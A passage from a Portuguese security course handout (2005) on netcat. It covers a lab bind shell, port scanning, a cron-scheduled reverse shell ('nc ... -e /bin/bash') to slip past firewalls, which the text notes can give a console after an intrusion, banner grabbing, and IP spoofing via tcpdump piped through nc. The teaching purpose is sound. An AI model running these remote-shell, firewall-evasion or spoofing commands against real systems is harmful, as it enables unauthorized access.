UP LOOPBACK RUNNING MTU:16436 Metric:1 RX packets:10 errors:0 dropped:0 overruns:0 frame:0 TX packets:10 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:0 RX bytes:700 (700.0 b) TX bytes:700 (700.0 b) lo:1 Link encap:Local Loopback inet addr:10.0.1.1 Mask:255.0.0.0 UP LOOPBACK RUNNING MTU:16436 Metric:1 RX packets:20848 errors:911 dropped:0 overruns:0 frame:926 TX packets:63 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:0 RX bytes:1398645 (1.3 Mb) TX bytes:6935 (6.7 Kb) lo:2 Link encap:Local Loopback inet addr:10.0.1.2 Mask:255.0.0.0 UP LOOPBACK RUNNING MTU:16436 Metric:1 RX packets:20848 errors:911 dropped:0 overruns:0 frame:926 TX packets:63 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:0 RX bytes:1398645 (1.3 Mb) TX bytes:7281 (7.1 Kb)
As interfaces de rede configuradas dessa forma permitem-nos trabalhar como se fossem dois computadores na mesma rede, com IPs diferentes.
Assim, tudo o que for digitado no cliente ser repetido no servidor (na primeira console). Use CTRLC para terminar a conexo.
Prof. Lus Rodrigo de O. Gonalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Pgina 63 de 71 Apostila do Curso de Segurana DRAF 0.4 - Petrpolis, 5 de Maro de 2005
Prof. Lus Rodrigo de O. Gonalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Pgina 64 de 71 Apostila do Curso de Segurana DRAF 0.4 - Petrpolis, 5 de Maro de 2005
No cliente:
nc 10.0.1.1 5000
Agora, estamos conectados no servidor, e com acesso ao shell. No vemos o prompt, mas podemos ver a sada de cada comando enviado para o servidor:
ls bin dev home media opt root srv tmp var boot etc lib mnt proc sbin sys usr
UDP
nc -u -vvn -z xxx.xxx.xxx.xxx start-end Prof. Lus Rodrigo de O. Gonalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Pgina 65 de 71 Apostila do Curso de Segurana DRAF 0.4 - Petrpolis, 5 de Maro de 2005
No exemplo abaixo, tentamos fazer um scan das portas 21 at 26. Como pode-se ver, portas fechadas resultam em um "Connection refused" e portas abertas mostram "open". O scan UDP basicamente o mesmo.
nc -vvn -z 10.0.0.1 21-26 10.0.0.1 21 (ftp): Connection refused 10.0.0.1 22 (ssh) open 10.0.0.1 23 (telnet): Connection refused 10.0.0.1 24: Connection refused 10.0.0.1 25 (smtp): Connection refused 10.0.0.1 26: Connection refused Total received bytes: 0 Total sent bytes: 0
ser abertas ou fechadas conforme a necessidade. Invertendo as direes das conexes pode resolver esse problema: basta fazer o computador do escritrio conectar no computador de casa, recebendo comandos do cliente a executando-os no servidor. Essa tcnica conhecida como Telnet Reverso. Vamos chamar o computador do escritrio de WORK e o computador de casa HOME. Se o computador HOME for configurado para usar IP dinmico, precisaremos de um nome para DNS dinmico, tipo o servio fornecido pela dyndns.org. No computador WORK, configuramos um job cron para iniciar as 19:00. Como no exemplo anterior do telnet, ele conecta ao home.dyndns.org e inicia uma sesso bash. Para isso, em casa deve-se iniciar (antes das 19:00) o netcat da seguinte forma: nc -vv -l -p 80 As 10:00, WORK conecta ao HOME, inicia o bash e est pronto para executar qualquer comando que queremos. Para testar nosso telnet reverso na nossa rede virtual, devemos colocar o cliente (HOME) em modo
Prof. Lus Rodrigo de O. Gonalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Pgina 66 de 71 Apostila do Curso de Segurana DRAF 0.4 - Petrpolis, 5 de Maro de 2005
de espera, escutando uma conexo: nc -vv -l -p 80 Listening on any address 80 Para conectar a partir do servidor (WORK): nc 10.0.1.1 80 -e /bin/bash Essa tcnica bem simples e eficiente, pois usa somente a porta 80, que dificilmente estar bloqueada no firewall. A partir do computador HOME voc pode enviar comandos para o WORK, e receber o resultado localmente. Alm disso, o telnet reverso pode ser usado para ganhar uma console de um servidor depois de uma invaso.
9.3.8) Banner-grabbing
Banner-grabbing consiste em enviar para o destino strings especficas a partir de um arquivo e receber os resultados na tela. O exemplo a seguir inclui um lao for bsico para fazer o scan de mltiplos destinos de uma vez. O arquivo WEB.txt deve conter : head / http/1.0 e dois "enters", ou apenas os dois enters para funcionar em outras portas alm da 80. O arquivo IPlist deve conter a lista dos endereos IP a serem scaneados: 10.0.1.1 Aps criar esses dois arquivos, execute: for f in `cat IPlist.txt`; do nc $f 80 < WEB.txt; done;
Prof. Lus Rodrigo de O. Gonalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Pgina 67 de 71 Apostila do Curso de Segurana DRAF 0.4 - Petrpolis, 5 de Maro de 2005
<title>Cannot process request!</title> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" /> <link rev="made" href="mailto:root@localhost" /> <style type="text/css"> <!-body { color: #000000; background-color: #FFFFFF; } a:link { color: #0000CC; } --> </style> </head><body> <h1>Cannot process request!</h1> <dl> <dd> The server does not support the action requested by the browser. </dd></dl><dl><dd> If you think this is a server error, please contact the <a href=" mailto:root@localhos t ">webmaster</a > </dd></dl> <h2>Error 501</h2> <dl> <dd> <address> <a href="/">localhost.localdomain</a> <br /> <small>Mon Dec 13 00:19:31 1999</small> <br /> <small>Apache/2.0.40 (Red Hat Linux)</small> </address> </dd> </dl> </body> </html>
Voc pode, inclusive, usar o netcat para enviar um exploit para o destino. Quando a conexo HTTPS, voc usar o stunnel para tunelar o nc, ou apenas o prprio stunnel. Para mais detalhes veja a man page do stunnel: man stunnel
Prof. Lus Rodrigo de O. Gonalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Pgina 68 de 71 Apostila do Curso de Segurana DRAF 0.4 - Petrpolis, 5 de Maro de 2005
A sintaxe do comando dever ser algo parecido com a seguinte linha: (echo "HEAD / HTTP/1.0"; echo; ) | /usr/sbin/stunnel configuration-file host:port
9.3.9) IP Spoofing
Usando o netcat, voc pode fazer inclusive spoofing de endereos IP. Se voc estiver escutando o trfego em um segmento, voc pode enviar esse trfego para outro host usando o protocolo UDP. O comando dever ser tipo: tcpdump -l -xX -vvv -tttt | nc -u -s spoofed_ip listener_ip <port> Isso tambm requer que voc configure o endereo IP spoofed para um alias na sua interface de rede: ifconfig eth0:N spoofed_ip onde N o alias a ser configurado. Isso ir causar problemas com o host que est sendo spoofed, j que feito o mesmo endereo IP propagado por dois hosts na mesma rede. Para executar um spoofing sem causar tantos problemas, use a ferramenta hping.
qualquer sistema Unix-Like e realiza dentre outras coisas a varredura de portas TCP, varredura de vulnerabilidades mais conhecidas, oferece tutoriais que descrevem as vulnerabilidades e como explora-las; COOPS: Computer Oracle and Password System, um dos aplicativos utilizados para realizar varredura do host local, verificar o modo dos arquivos e as senhas fceis. No final de seu trabalho ele gera um relatrio com a descrio e a ao a ser tomada para resolver a violao;
Prof. Lus Rodrigo de O. Gonalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Pgina 69 de 71 Apostila do Curso de Segurana DRAF 0.4 - Petrpolis, 5 de Maro de 2005
Tripwire : este aplicativo informa se j houve alguma invaso no sistema. Ele um analisador de integridade de arquivos e diretrios, durante sua execuo ele compara as informaes existentes no sistema de arquivo com os dados prviamente coletados e armazenados no banco de dados. Normalmente sua atividade agendada pela CRON do sistema. Aps ser executado ele produz um relatrio com as possveis violaes que o sistema possa ter sofrido. Quando executado periodicamente permite que brechas de segurana possam ser descobertas o mais rpido possvel. PGP : este uma ferramenta multi plataforma que atravs da criptografia simtrica permite proteger o contedo e/ou a integridade dos dados trocados. Ao enviar uma mensagem ele pode utilizar a chave pblica do destinatrio de tal modo que somente quem possuir sua chave privada poder decifar a mensagem que lhe foi enviada. Hping: Icmpenum: Icmpquery: Strobe: Udp_scan: Siphon: p0f: Cheops: Icmpinfo: nttcp:
Prof. Lus Rodrigo de O. Gonalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Pgina 70 de 71 Apostila do Curso de Segurana DRAF 0.4 - Petrpolis, 5 de Maro de 2005
Referencias:
[1] Net, Urubatam; Dominando Linux Firewall Iptables; [2] Linux Magazine, Nmero 4 Ano I, pgina 32; [3] Arkin, Ofir; ICMP Usage in Scanning; Julho de 2000; [4] Fping http:\\www.fping.com\ [5] RFC 1812: Requiriments for IPv4 Routers; http:\\www.ietf.org\rfc\rfc1812.txt [6] RFC793 - TRANSMISSION CONTROL PROTOCOL; DARPA INTERNET PROGRAM, PROTOCOL SPECIFICATION; Defense Advanced Research Projects Agency. September 1981; [7] IANA: List of assigned ports; ftp:\\ftp.isi.edu\in-notes\iana\assignments\port-numbers; [8] Fyodor; Remote OS derection via TCP/IP Stack FingerPrinting; 18 de Outubro de 1998; [9] Arkin, Ofir; ICMP Usage in Scanning, The Complete Know-How; Verso 3.0; Junho de 2001; [10]Arkin, Ofir e Yarochkin, Fyodor; X remote ICMP based OS Fingerprinting techniques; Agosto de 2001.; [11] Arkin, Ofir; A remote active OS fingerprinting tool using ICMP; Abril de 2002; [12] Arkin, Ofir e Yarochkin, Fyodor; The Present and Future of Xprobe2, The Next Generation of Active Operation System Fingerprinting; julho de 2003;
[13] Cid, Daniel B.; Identificao Passiva de Sistemas Operacionais; Maio de 2003; [14] Nazario, Jose; Passive System Fingerprinting using Networking Client Applications; 27 de Novembro de 2000; [15] Smith, Craing; Know Your Enemy: Passive Fingerprinting - Identifing remote hosts, without then khnowing; 4 de Maro de 2002
Prof. Lus Rodrigo de O. Gonalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Pgina 71 de 71